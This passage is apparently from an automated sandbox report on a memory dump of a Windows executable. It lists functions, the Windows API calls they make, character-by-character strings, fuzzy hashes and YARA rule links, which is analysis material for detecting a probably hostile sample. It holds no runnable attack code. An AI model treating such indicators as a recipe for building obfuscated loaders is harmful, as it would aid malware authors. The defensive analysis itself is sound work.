GetProcessHeap.KERNEL32 ref: 00007FF70D6FB113
HeapFree.KERNEL32 ref: 00007FF70D6FB125
GetProcAddress.KERNEL32 ref: 00007FF70D6FB22C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB26B
HeapFree.KERNEL32 ref: 00007FF70D6FB279
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB28B
HeapFree.KERNEL32 ref: 00007FF70D6FB299
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB2AB
HeapFree.KERNEL32 ref: 00007FF70D6FB2B9
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB2BF
HeapFree.KERNEL32 ref: 00007FF70D6FB2D1
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB2FE
HeapFree.KERNEL32 ref: 00007FF70D6FB30C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB31E
HeapFree.KERNEL32 ref: 00007FF70D6FB32C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB33E
HeapFree.KERNEL32 ref: 00007FF70D6FB34C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB362
HeapFree.KERNEL32 ref: 00007FF70D6FB370
lstrcpyA.KERNEL32 ref: 00007FF70D6FB44F
GetProcAddress.KERNEL32 ref: 00007FF70D6FB4EE
GetLastError.KERNEL32 ref: 00007FF70D6FB5D0
GetLastError.KERNEL32 ref: 00007FF70D6FB664
lstrlenA.KERNEL32 ref: 00007FF70D6FB673
wsprintfA.USER32 ref: 00007FF70D6FB68D
lstrcpyA.KERNEL32 ref: 00007FF70D6FB6EA
lstrlenA.KERNEL32 ref: 00007FF70D6FB6F7
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB71F
HeapFree.KERNEL32 ref: 00007FF70D6FB72D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB73F
HeapFree.KERNEL32 ref: 00007FF70D6FB74D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB75F
HeapFree.KERNEL32 ref: 00007FF70D6FB76D

Part of subcall function 00007FF70D6E7D30: lstrlenA.KERNEL32 ref: 00007FF70D6E7DFC
Part of subcall function 00007FF70D6E7D30: GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E05
Part of subcall function 00007FF70D6E7D30: HeapAlloc.KERNEL32 ref: 00007FF70D6E7E14
Part of subcall function 00007FF70D6E7D30: lstrcpyA.KERNEL32 ref: 00007FF70D6E7E2A
Part of subcall function 00007FF70D6E7D30: lstrlenA.KERNEL32 ref: 00007FF70D6E7E36
Part of subcall function 00007FF70D6E7D30: GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E76
Part of subcall function 00007FF70D6E7D30: HeapFree.KERNEL32 ref: 00007FF70D6E7E84

GetProcessHeap.KERNEL32 ref: 00007FF70D6FB77F
HeapFree.KERNEL32 ref: 00007FF70D6FB78D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB8E8
HeapFree.KERNEL32 ref: 00007FF70D6FB8F6
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB8FC
HeapFree.KERNEL32 ref: 00007FF70D6FB90A

Strings

p, xrefs: 00007FF70D6F8B1B
l, xrefs: 00007FF70D6F8DEE
e, xrefs: 00007FF70D6FAE57
\, xrefs: 00007FF70D6FACC7
e, xrefs: 00007FF70D6F8DF3
e, xrefs: 00007FF70D6F8DF8
k, xrefs: 00007FF70D6FA82D
#, xrefs: 00007FF70D6F7DA4
V, xrefs: 00007FF70D6F97FD
p, xrefs: 00007FF70D6FAE61
:, xrefs: 00007FF70D6F7D90
S, xrefs: 00007FF70D6FAE4D
l, xrefs: 00007FF70D6F8B0C
e, xrefs: 00007FF70D6FAE5C
S{JjyfjwH, xrefs: 00007FF70D6F8731
V, xrefs: 00007FF70D6F9673
Z, xrefs: 00007FF70D6F7D9F
l, xrefs: 00007FF70D6FAE52
p, xrefs: 00007FF70D6F8DFD
S, xrefs: 00007FF70D6F8DE9
e, xrefs: 00007FF70D6F8B16
e, xrefs: 00007FF70D6F8B11

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AddressProc$lstrcpy$wsprintf$lstrlen$Alloc$ErrorLast$CreateMutexObjectSingleWaitlstrcatlstrcmpi
String ID: #$:$S$S$S{JjyfjwH$V$V$Z$\$e$e$e$e$e$e$k$l$l$l$p$p$p
API String ID: 2072546931-1462542895
Opcode ID: a348ae0051f813730906a717e9b85b73aa5daad39c3dbb22913d4a5dde483f94
Instruction ID: 41ad3825d946facba8193b7f973af393b3f787e3cb703d89236c18867c936ad8
Opcode Fuzzy Hash: a348ae0051f813730906a717e9b85b73aa5daad39c3dbb22913d4a5dde483f94
Instruction Fuzzy Hash: A8838E1290C7C18CE7319F35DC183ED6B91EB1678CF884179D68D0BA9AEFAD9248C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6F20, Relevance: 87.9, APIs: 15, Strings: 35, Instructions: 405memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F6FD7
GetProcAddress.KERNEL32 ref: 00007FF70D6F7058
CreateFileA.KERNELBASE ref: 00007FF70D6F709A
GetProcAddress.KERNEL32 ref: 00007FF70D6F7138
GetProcAddress.KERNEL32 ref: 00007FF70D6F71C0
GetProcessHeap.KERNEL32 ref: 00007FF70D6F71E0
HeapAlloc.KERNEL32 ref: 00007FF70D6F71EF
GetProcAddress.KERNEL32 ref: 00007FF70D6F7257
ReadFile.KERNELBASE ref: 00007FF70D6F727C
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7282
HeapFree.KERNEL32 ref: 00007FF70D6F7290
FindCloseChangeNotification.KERNELBASE ref: 00007FF70D6F72D4
GetProcAddress.KERNEL32 ref: 00007FF70D6F74F8
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7565
HeapFree.KERNEL32 ref: 00007FF70D6F7573

Strings

L, xrefs: 00007FF70D6F70BA
-, xrefs: 00007FF70D6F6FE5
o, xrefs: 00007FF70D6F70BF
$, xrefs: 00007FF70D6F74BA
9, xrefs: 00007FF70D6F747B
(, xrefs: 00007FF70D6F7003
z, xrefs: 00007FF70D6F70B5
", xrefs: 00007FF70D6F74A1
k, xrefs: 00007FF70D6F70B0
5, xrefs: 00007FF70D6F74B0
:, xrefs: 00007FF70D6F715A
M, xrefs: 00007FF70D6F70A8
<, xrefs: 00007FF70D6F7497
k, xrefs: 00007FF70D6F70C9
", xrefs: 00007FF70D6F7483
1, xrefs: 00007FF70D6F7492
n, xrefs: 00007FF70D6F701C
o, xrefs: 00007FF70D6F70D3
,, xrefs: 00007FF70D6F7155
3, xrefs: 00007FF70D6F714B
?, xrefs: 00007FF70D6F74A6
%, xrefs: 00007FF70D6F748D
$, xrefs: 00007FF70D6F7488
>, xrefs: 00007FF70D6F7164
0, xrefs: 00007FF70D6F7150
/, xrefs: 00007FF70D6F7017
Y, xrefs: 00007FF70D6F70CE
r, xrefs: 00007FF70D6F70C4
$, xrefs: 00007FF70D6F74AB
1, xrefs: 00007FF70D6F7169
3, xrefs: 00007FF70D6F74B5
~, xrefs: 00007FF70D6F70E7
P, xrefs: 00007FF70D6F74BF
K, xrefs: 00007FF70D6F70E2
k, xrefs: 00007FF70D6F70DD

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressHeapProc$Process$FileFree$AllocChangeCloseCreateFindNotificationRead
String ID: "$"$$$$$$$%$($,$-$/$0$1$1$3$3$5$9$:$<$>$?$K$L$M$P$Y$k$k$k$n$o$o$r$z$~
API String ID: 2459047351-1438227616
Opcode ID: 9352dbd57fc49dc40077e76671ee3bc2cbab0bf2b6a87698c96a559d1ff848d3
Instruction ID: ed8a018097be96a6a37db07f8ff04e202ea9f6638c5981cde74fea99cc870408
Opcode Fuzzy Hash: 9352dbd57fc49dc40077e76671ee3bc2cbab0bf2b6a87698c96a559d1ff848d3
Instruction Fuzzy Hash: ED12D612E0C7C189F711D779E8043AEBFA2AB56788F580065EB8817B9ADF7DD405CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E1220, Relevance: 16.9, APIs: 11, Instructions: 438libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF70D6E12B4
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1371
LoadLibraryA.KERNEL32 ref: 00007FF70D6E13F7
LoadLibraryA.KERNEL32 ref: 00007FF70D6E14A1
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1514
LoadLibraryA.KERNEL32 ref: 00007FF70D6E15D1
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1647
LoadLibraryA.KERNEL32 ref: 00007FF70D6E16C7
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1744
LoadLibraryA.KERNEL32 ref: 00007FF70D6E17C4
LoadLibraryA.KERNEL32 ref: 00007FF70D6E1881

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: babf546cce919ead6c16dbc88f1d9df9d8ab9c9bc464615f1e3cb01f07bdf279
Instruction ID: 6077455919a66a7a8842516286bba5ac2ad64aae9accee777d579c0d994d9ea8
Opcode Fuzzy Hash: babf546cce919ead6c16dbc88f1d9df9d8ab9c9bc464615f1e3cb01f07bdf279
Instruction Fuzzy Hash: AC228612A0C7C18DF305DB78D8183EC7FA6972734CF485268EA895BB9AEB7D9105C325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703DE0, Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00007FF70D703DE9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70D70A0B4

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 91d10cde1a671c8c499c64a4ce69f5c21a2ce6bb3b1c58b4b672f39670bb3c42
Instruction ID: ed8a3806c7e230cb5b40f8f4d5e10c3235e477ccd1a9ff54b5e17e836763ab5f
Opcode Fuzzy Hash: 91d10cde1a671c8c499c64a4ce69f5c21a2ce6bb3b1c58b4b672f39670bb3c42
Instruction Fuzzy Hash: 46E0EC20E5D347C5E61837754C431B8A8906F5D324FE06235E21DC22C2FF5D65914A72

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703550, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF70D703566
GetModuleHandleW.KERNEL32 ref: 00007FF70D703573
GetModuleHandleW.KERNEL32 ref: 00007FF70D703588
GetProcAddress.KERNEL32 ref: 00007FF70D7035A0
GetProcAddress.KERNEL32 ref: 00007FF70D7035B3
CreateEventW.KERNEL32 ref: 00007FF70D7035DF
DeleteCriticalSection.KERNEL32 ref: 00007FF70D70362B
CloseHandle.KERNEL32 ref: 00007FF70D70363D

Strings

SleepConditionVariableCS, xrefs: 00007FF70D703596
kernel32.dll, xrefs: 00007FF70D703581
WakeAllConditionVariable, xrefs: 00007FF70D7035A6
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF70D70356C

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: e5d6e718d410cf8ff0880cb7a573779cff77cee225800aafb88c65106be2f1db
Instruction ID: c6e093981987497b640a80e364c7ee9ec74e2668aea607a391d24fdd3074b56f
Opcode Fuzzy Hash: e5d6e718d410cf8ff0880cb7a573779cff77cee225800aafb88c65106be2f1db
Instruction Fuzzy Hash: BE21E768A1DB4381EE54BB24FC55574A6A1AF5CB48FC82539C90E827A0FF2CE5599330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E18B0, Relevance: 16.6, APIs: 11, Instructions: 85COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF70D6E18CE
FreeLibrary.KERNEL32 ref: 00007FF70D6E18E6
FreeLibrary.KERNEL32 ref: 00007FF70D6E18FE
FreeLibrary.KERNEL32 ref: 00007FF70D6E1916
FreeLibrary.KERNEL32 ref: 00007FF70D6E192E
FreeLibrary.KERNEL32 ref: 00007FF70D6E1946
FreeLibrary.KERNEL32 ref: 00007FF70D6E195E
FreeLibrary.KERNEL32 ref: 00007FF70D6E1976
FreeLibrary.KERNEL32 ref: 00007FF70D6E198E
FreeLibrary.KERNEL32 ref: 00007FF70D6E19A6
FreeLibrary.KERNEL32 ref: 00007FF70D6E19BD

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3052d53cab4c376b198aff8461bd3f145c8ef62e42592985d6049a90affb394a
Instruction ID: 97e4b760977a18a3092c02b420d42953be9674d701128341151445e26ea5af72
Opcode Fuzzy Hash: 3052d53cab4c376b198aff8461bd3f145c8ef62e42592985d6049a90affb394a
Instruction Fuzzy Hash: 43310726E0CB8241EA057F71EF54679D363AF1AFC9B982031E91D17A89FF2DA4058261

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703DFC, Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF70D703E0B

Part of subcall function 00007FF70D703824: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF70D703846

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF70D703E20
__scrt_release_startup_lock.LIBCMT ref: 00007FF70D703E8E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF70D703EE1
__scrt_is_managed_app.LIBCMT ref: 00007FF70D703F04

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 4144305933-0
Opcode ID: c2ee69285bcf4ab1cbb838958ec9f6ce076d187d7ae838ecad20cc8351f6eec8
Instruction ID: 3805d6b98b8ea67a6cff4cab32960171eeb3dedd1a667ae4f8906700749b1983
Opcode Fuzzy Hash: c2ee69285bcf4ab1cbb838958ec9f6ce076d187d7ae838ecad20cc8351f6eec8
Instruction Fuzzy Hash: 68312721A0C34381EA24BB64DC513B9EA919F4D748FC46138EA0E972D3FF2DA9498631

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7090B4, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF70D7090DD
TerminateProcess.KERNEL32 ref: 00007FF70D7090E8
ExitProcess.KERNEL32 ref: 00007FF70D7090F7

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2eccc39d4459835d8ae4831080ba961dd9b4b3a6392a804b234a13925245f5c1
Instruction ID: 574efc2c0bbecebaa3c22c21d9a744dba6e92c70da35fd94ffe5766303d17966
Opcode Fuzzy Hash: 2eccc39d4459835d8ae4831080ba961dd9b4b3a6392a804b234a13925245f5c1
Instruction Fuzzy Hash: 54E04F38B0C30B82EA547B359C853796652AF9C705F94A538CA0EC2397EF7DE449C620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B030, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B053

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FF70D70B04C

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: try_get_function
String ID: AppPolicyGetProcessTerminationMethod
API String ID: 2742660187-2031265017
Opcode ID: 418dfbc5751c466a8bdb671aa8377d83b06015fd446ec691b39762ed6cbca1b8
Instruction ID: 0d2a1a62160054ac3d629a9b8baecba58ed84a146e9cc550ae3bf56f7628f754
Opcode Fuzzy Hash: 418dfbc5751c466a8bdb671aa8377d83b06015fd446ec691b39762ed6cbca1b8
Instruction Fuzzy Hash: 93E04F95E0C746D1FE256795AC011B092119F0C770FD86332D93C063E0EF2C99958224

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D708FF8, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70D709017

Part of subcall function 00007FF70D709100: GetModuleHandleExW.KERNEL32 ref: 00007FF70D70911C
Part of subcall function 00007FF70D709100: GetProcAddress.KERNEL32 ref: 00007FF70D709132
Part of subcall function 00007FF70D709100: FreeLibrary.KERNEL32 ref: 00007FF70D70914F

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 4516d729d79fe14c64ee1ae2f6c324b4a36638f4a7046f7cb4fb112b2b1c59ae
Instruction ID: 95ac0c24576f854de6ccc3e8c28eb84628bc06a0d28c47cd4379155678b59072
Opcode Fuzzy Hash: 4516d729d79fe14c64ee1ae2f6c324b4a36638f4a7046f7cb4fb112b2b1c59ae
Instruction Fuzzy Hash: 8E217135A08702D9EB10AF64CC443ED7AA1EB48708F889536D71C82AC7EF7DD584CBA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF70D6E6010, Relevance: 115.9, APIs: 23, Strings: 43, Instructions: 381memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E60A4
lstrlenA.KERNEL32 ref: 00007FF70D6E60E8
GetProcessHeap.KERNEL32 ref: 00007FF70D6E60F5
HeapAlloc.KERNEL32 ref: 00007FF70D6E6103
lstrcpyA.KERNEL32 ref: 00007FF70D6E6118
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6190
HeapFree.KERNEL32 ref: 00007FF70D6E619E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6220
HeapFree.KERNEL32 ref: 00007FF70D6E622E
lstrcpyA.KERNEL32 ref: 00007FF70D6E6330
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6357
HeapFree.KERNEL32 ref: 00007FF70D6E6366
GetProcessHeap.KERNEL32 ref: 00007FF70D6E63A4
HeapFree.KERNEL32 ref: 00007FF70D6E63B2

Part of subcall function 00007FF70D6F5990: GetProcAddress.KERNEL32 ref: 00007FF70D6F5A05

GetProcessHeap.KERNEL32 ref: 00007FF70D6E65E1
HeapFree.KERNEL32 ref: 00007FF70D6E65EF

Part of subcall function 00007FF70D703320: GetProcAddress.KERNEL32 ref: 00007FF70D703403

Strings

R, xrefs: 00007FF70D6E6292
i, xrefs: 00007FF70D6E62CE
D, xrefs: 00007FF70D6E626F
K, xrefs: 00007FF70D6E627E
,, xrefs: 00007FF70D6E62B0
, xrefs: 00007FF70D6E62BA
V, xrefs: 00007FF70D6E6260
e, xrefs: 00007FF70D6E6470
|, xrefs: 00007FF70D6E62E7
%, xrefs: 00007FF70D6E62A1
L, xrefs: 00007FF70D6E628D
8, xrefs: 00007FF70D6E62DD
P, xrefs: 00007FF70D6E6297
C, xrefs: 00007FF70D6E6242
I, xrefs: 00007FF70D6E623B
m, xrefs: 00007FF70D6E62E2
L, xrefs: 00007FF70D6E629C
e, xrefs: 00007FF70D6E646B
H, xrefs: 00007FF70D6E6288
J, xrefs: 00007FF70D6E6247
, xrefs: 00007FF70D6E62B5
S, xrefs: 00007FF70D6E645E
T, xrefs: 00007FF70D6E6251
p, xrefs: 00007FF70D6E6475
f, xrefs: 00007FF70D6E62BF
_, xrefs: 00007FF70D6E6283
$, xrefs: 00007FF70D6E62D3
;, xrefs: 00007FF70D6E62C9
x, xrefs: 00007FF70D6E6234
., xrefs: 00007FF70D6E62C4
`, xrefs: 00007FF70D6E62F1
!, xrefs: 00007FF70D6E62AB
Q, xrefs: 00007FF70D6E62F6
a, xrefs: 00007FF70D6E62A6
J, xrefs: 00007FF70D6E624C
$, xrefs: 00007FF70D6E62D8
O, xrefs: 00007FF70D6E605B
Z, xrefs: 00007FF70D6E626A
l, xrefs: 00007FF70D6E6466
?, xrefs: 00007FF70D6E606A
@, xrefs: 00007FF70D6E625B
D, xrefs: 00007FF70D6E6265
C, xrefs: 00007FF70D6E6274

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AddressProclstrcpy$Alloclstrlenwsprintf
String ID: $ $!$$$$$%$,$.$8$;$?$@$C$C$D$D$H$I$J$J$K$L$L$O$P$Q$R$S$T$V$Z$_$`$a$e$e$f$i$l$m$p$x$|
API String ID: 2950031612-1016737915
Opcode ID: a2c9099f50154c90fe8999ad61046a1216fa03c5860f9b0446e5dfc7034c1d9e
Instruction ID: e617b39fb2fa328a19cbbf05e5be27c9d19eba0a81353a57a13f332c24740256
Opcode Fuzzy Hash: a2c9099f50154c90fe8999ad61046a1216fa03c5860f9b0446e5dfc7034c1d9e
Instruction Fuzzy Hash: 01028426A0C7C285E711EB65E8042AEBBA1FF59788F444174EE8D17B4AEF7DD015CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EC9D0, Relevance: 98.4, APIs: 20, Strings: 36, Instructions: 401stringlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

GetProcAddress.KERNEL32 ref: 00007FF70D6ECA94
GetProcAddress.KERNEL32 ref: 00007FF70D6ECB43
GetProcAddress.KERNEL32 ref: 00007FF70D6ECC54
wsprintfA.USER32 ref: 00007FF70D6ECD26
GetProcAddress.KERNEL32 ref: 00007FF70D6ECDB3
GetProcAddress.KERNEL32 ref: 00007FF70D6ECE54
lstrlenA.KERNEL32 ref: 00007FF70D6ECE78
lstrlenA.KERNEL32 ref: 00007FF70D6ECE86
lstrlenA.KERNEL32 ref: 00007FF70D6ECE93
lstrlenA.KERNEL32 ref: 00007FF70D6ECEA2
lstrcpyA.KERNEL32 ref: 00007FF70D6ECEC1
lstrcatA.KERNEL32 ref: 00007FF70D6ECECE
lstrcatA.KERNEL32 ref: 00007FF70D6ECF0E
lstrcatA.KERNEL32 ref: 00007FF70D6ECF1B
lstrcatA.KERNEL32 ref: 00007FF70D6ECF5E
lstrcatA.KERNEL32 ref: 00007FF70D6ECF6B
lstrcatA.KERNEL32 ref: 00007FF70D6ECF78
lstrcatA.KERNEL32 ref: 00007FF70D6ECFCF
lstrcatA.KERNEL32 ref: 00007FF70D6ED011
lstrcatA.KERNEL32 ref: 00007FF70D6ED021

Strings

X, xrefs: 00007FF70D6ECC04
X, xrefs: 00007FF70D6ECCA1
L, xrefs: 00007FF70D6ECBF0
V, xrefs: 00007FF70D6ECC6C
I, xrefs: 00007FF70D6ECA22
P, xrefs: 00007FF70D6ECBFF
Z, xrefs: 00007FF70D6ECCAB
L, xrefs: 00007FF70D6ECA43
a, xrefs: 00007FF70D6ECBE1
X, xrefs: 00007FF70D6ECC13
F, xrefs: 00007FF70D6ECBF5
5, xrefs: 00007FF70D6ECC1D
k, xrefs: 00007FF70D6ECA2F
g, xrefs: 00007FF70D6ECA34
o, xrefs: 00007FF70D6ECA48
x, xrefs: 00007FF70D6ECA2A
\, xrefs: 00007FF70D6ECC0E
P, xrefs: 00007FF70D6ECBDC
a, xrefs: 00007FF70D6ECBCD
P, xrefs: 00007FF70D6ECBC8
^, xrefs: 00007FF70D6ECC97
f, xrefs: 00007FF70D6ECBEB
P, xrefs: 00007FF70D6ECC18
\, xrefs: 00007FF70D6ECBD2
s, xrefs: 00007FF70D6ECBB3
A, xrefs: 00007FF70D6ECBFA
k, xrefs: 00007FF70D6ECA3E
z, xrefs: 00007FF70D6ECA39
Z, xrefs: 00007FF70D6ECBE6
X, xrefs: 00007FF70D6ECBD7
\, xrefs: 00007FF70D6ECC8D
\, xrefs: 00007FF70D6ECBBB
a, xrefs: 00007FF70D6ECC09
Y, xrefs: 00007FF70D6ECBC3
P, xrefs: 00007FF70D6ECC79
R, xrefs: 00007FF70D6ECC83

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrcat$AddressProc$lstrlen$lstrcpywsprintf
String ID: 5$A$F$I$L$L$P$P$P$P$P$R$V$X$X$X$X$Y$Z$Z$\$\$\$\$^$a$a$a$f$g$k$k$o$s$x$z
API String ID: 404232260-3185344653
Opcode ID: 50f32263a71f26cdcdbd3f85ad5554320b1a32f4700e12d2978c5465eed0dae3
Instruction ID: 2cf5352f1dfa5df3da064a217a71c19343e683fac8f8d07b84cc44b3dedc3751
Opcode Fuzzy Hash: 50f32263a71f26cdcdbd3f85ad5554320b1a32f4700e12d2978c5465eed0dae3
Instruction Fuzzy Hash: 5522A512A0C7C1CDF701D779D8043AE7FA1AB5678CF480168DB891BA9ADBADD148CB31

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FD560, Relevance: 93.1, APIs: 9, Strings: 44, Instructions: 303memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6FD600
HeapAlloc.KERNEL32 ref: 00007FF70D6FD611
lstrcatA.KERNEL32 ref: 00007FF70D6FD6D9
lstrcatA.KERNEL32 ref: 00007FF70D6FD6E5
GetProcessHeap.KERNEL32 ref: 00007FF70D6FD715
HeapFree.KERNEL32 ref: 00007FF70D6FD723
GetProcAddress.KERNEL32 ref: 00007FF70D6FD874
GetProcAddress.KERNEL32 ref: 00007FF70D6FD924

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

GetProcAddress.KERNEL32 ref: 00007FF70D6FD9C4

Strings

9, xrefs: 00007FF70D6FD654
K, xrefs: 00007FF70D6FD668
", xrefs: 00007FF70D6FD8BD
o, xrefs: 00007FF70D6FD961
9, xrefs: 00007FF70D6FD64A
U, xrefs: 00007FF70D6FD640
$, xrefs: 00007FF70D6FD8AE
[, xrefs: 00007FF70D6FD633
I, xrefs: 00007FF70D6FD65E
G, xrefs: 00007FF70D6FD81A
v, xrefs: 00007FF70D6FD806
V, xrefs: 00007FF70D6FD96B
i, xrefs: 00007FF70D6FD82E
5, xrefs: 00007FF70D6FD8C2
e, xrefs: 00007FF70D6FD810
c, xrefs: 00007FF70D6FD97F
g, xrefs: 00007FF70D6FD97A
t, xrefs: 00007FF70D6FD975
i, xrefs: 00007FF70D6FD80B
5, xrefs: 00007FF70D6FD8A6
x, xrefs: 00007FF70D6FD838
_, xrefs: 00007FF70D6FD645
w, xrefs: 00007FF70D6FD95C
|, xrefs: 00007FF70D6FD833
h, xrefs: 00007FF70D6FD815
u, xrefs: 00007FF70D6FD957
j, xrefs: 00007FF70D6FD63B
1, xrefs: 00007FF70D6FD8C7
T, xrefs: 00007FF70D6FD947
f, xrefs: 00007FF70D6FD984
i, xrefs: 00007FF70D6FD7EF
x, xrefs: 00007FF70D6FD7F7
j, xrefs: 00007FF70D6FD970
l, xrefs: 00007FF70D6FD801
X, xrefs: 00007FF70D6FD7FC
8, xrefs: 00007FF70D6FD8B8
x, xrefs: 00007FF70D6FD829
K, xrefs: 00007FF70D6FD7E7
g, xrefs: 00007FF70D6FD966
r, xrefs: 00007FF70D6FD824
[, xrefs: 00007FF70D6FD663
p, xrefs: 00007FF70D6FD659
s, xrefs: 00007FF70D6FD81F
g, xrefs: 00007FF70D6FD94F

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressHeapProc$Processlstrcat$AllocFree
String ID: "$$$1$5$5$8$9$9$G$I$K$K$T$U$V$X$[$[$_$c$e$f$g$g$g$h$i$i$i$j$j$l$o$p$r$s$t$u$v$w$x$x$x$|
API String ID: 3049494144-1412650476
Opcode ID: ed25eafe2b5e91f673d6042726a2dc65849f0241ff641c48145d3bc2bf299179
Instruction ID: 15c74b788c114325313e444490bffb6eaa8aa3e4172e0af08ceb03441e0ae1a2
Opcode Fuzzy Hash: ed25eafe2b5e91f673d6042726a2dc65849f0241ff641c48145d3bc2bf299179
Instruction Fuzzy Hash: 65D1CA1290C7C189E715D739A9043AEBF92EB967C8F544078EAC80B79AEF7DD105CB21

Uniqueness

Uniqueness Score: -1.00%

